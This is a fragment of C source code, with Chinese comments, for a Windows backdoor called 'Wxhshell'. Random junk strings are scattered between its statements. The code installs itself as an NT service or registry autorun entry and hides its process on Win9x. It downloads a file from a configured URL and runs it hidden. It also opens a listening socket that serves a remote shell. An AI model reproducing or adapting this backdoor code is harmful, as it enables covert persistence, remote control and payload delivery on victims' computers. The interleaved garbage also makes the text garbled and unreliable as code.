*P\_:>bV( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {s'_zSz p6l@O3 CloseHandle(hProcess); TvG:T{jwy lJY=*KB(6 if(strstr(procName,"services")) return 1; // 以服务启动 <RVtLTd/ +rpd0s49 return 0; // 注册表启动 (tLQX~Ur } 12'(MAP z2q5f:d8 // 主模块 ^Ro
du int StartWxhshell(LPSTR lpCmdLine) 7^TXlWn^G { \bQ!>l\ SOCKET wsl; R*{?4NKG BOOL val=TRUE; !vp!\Zj7o int port=0; \HEo8~TY
struct sockaddr_in door; Y[]+C8"O HV7(6VSJ+ if(wscfg.ws_autoins) Install(); :#htOsP zjh9ZLu[ port=atoi(lpCmdLine); L[r0UXYLV 7b%Cl
if(port<=0) port=wscfg.ws_port; K2K6 4_0/]:~5 WSADATA data; Ns= b&Uyc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ .uaO vFC=qLz: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M`fXH 3D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yB{o_1tc door.sin_family = AF_INET; tskODM0Zf door.sin_addr.s_addr = inet_addr("127.0.0.1"); &b")`p&K door.sin_port = htons(port); @,`=~_J 4
Wd5Goe: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q~!hr0
ZR closesocket(wsl); `e=n(D return 1; 'nt,+`.y6 } <n#V TZyQOjUu if(listen(wsl,2) == INVALID_SOCKET) { XJ/kB8 closesocket(wsl); rw0lXs#K<E return 1; aDv/kFfn } -mw\?\2{ Wxhshell(wsl); q&6=oss! WSACleanup(); ?,DbV|3_\ Hf!4(\yN return 0; ER0#$yFpM J15T!_AW< } PR6uw i8@e}O I // 以NT服务方式启动 Y8{1?LO VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TaJn2cC^ { na:^7:I DWORD status = 0; gH)B`
@ DWORD specificError = 0xfffffff; $uB(@Ft. CyDf[C)= serviceStatus.dwServiceType = SERVICE_WIN32; lfeWtzOf serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4EbiCSo serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Es)?>eah serviceStatus.dwWin32ExitCode = 0; <OfzE5 serviceStatus.dwServiceSpecificExitCode = 0; c7!`d.{90 serviceStatus.dwCheckPoint = 0; Cbvl( ( serviceStatus.dwWaitHint = 0; A0u:Fm{E TN aff hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #%tL8/K* if (hServiceStatusHandle==0) return; A"VXs1>_^ k0Yixa status = GetLastError(); `b'J*4|oGo if (status!=NO_ERROR) A1$'[8U~3 { 0-f- serviceStatus.dwCurrentState = SERVICE_STOPPED; E'6P>6l5 serviceStatus.dwCheckPoint = 0; lS-i9U/,> serviceStatus.dwWaitHint = 0; geSo#mV serviceStatus.dwWin32ExitCode = status; 1)Bi>X serviceStatus.dwServiceSpecificExitCode = specificError; :.df( 1(RL SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-)1K return; tSa%ZkS } K#< Wt5 H,` XCG serviceStatus.dwCurrentState = SERVICE_RUNNING; `~TGVa`D serviceStatus.dwCheckPoint = 0; tah%jRfT& serviceStatus.dwWaitHint = 0; =Fl4tY#X if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wh+ibH}@! } gdNp2b 7/!C // 处理NT服务事件,比如:启动、停止 :#jv4N VOID WINAPI NTServiceHandler(DWORD fdwControl) $0 zL {
`.WKU"To switch(fdwControl) %$?Q% { d's`~HOU2 case SERVICE_CONTROL_STOP: *3Z#r serviceStatus.dwWin32ExitCode = 0; tTp`e0L*m serviceStatus.dwCurrentState = SERVICE_STOPPED; XhV"<&v serviceStatus.dwCheckPoint = 0; O#Hz5A5 serviceStatus.dwWaitHint = 0; !iOu07<n&D { +@7R,8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); EA#!h'-s } L-gF$it\*b return; E|3aiC,5 case SERVICE_CONTROL_PAUSE: {z_pL^S'52 serviceStatus.dwCurrentState = SERVICE_PAUSED; `Db}q^mQ break; zZiVBUmE< case SERVICE_CONTROL_CONTINUE: JdEb_c3S serviceStatus.dwCurrentState = SERVICE_RUNNING; _'a4I; break; TY?io@ case SERVICE_CONTROL_INTERROGATE: Ve)
:I break; h(sKGCG }; i.4[]f[/h SetServiceStatus(hServiceStatusHandle, &serviceStatus); R~-q!nC } =@l5He.]& J<@]7)|U // 标准应用程序主函数 CFxs`C^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >i E
{ \vQ ( n//a;m // 获取操作系统版本 )6WU&0>AU8 OsIsNt=GetOsVer(); WfZ#:G9 GetModuleFileName(NULL,ExeFile,MAX_PATH); ~zRd||qv I =pd jD // 从命令行安装 -H]O&u3'c if(strpbrk(lpCmdLine,"iI")) Install(); M
-TK !!%F$qUd\ // 下载执行文件 !/j|\_O if(wscfg.ws_downexe) { -E"o)1Pj6C if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c[q3O** WinExec(wscfg.ws_filenam,SW_HIDE); WLH2B1_): } R8*4E0\br DLZ63' if(!OsIsNt) { 5w3'yA<vE // 如果时win9x,隐藏进程并且设置为注册表启动 $=R\3:j HideProc(); VEm[F/' StartWxhshell(lpCmdLine); 9x<
8(]\ }
^k=[P else n\U6oJN if(StartFromService()) r$zXb9a|< // 以服务方式启动 E;0"1
P|S StartServiceCtrlDispatcher(DispatchTable); rtz(Jt{< else F$C:4c // 普通方式启动 C%"@|01cO StartWxhshell(lpCmdLine); ,3u19>2 dtm@G|Ij return 0; eO#)QoHj^ }
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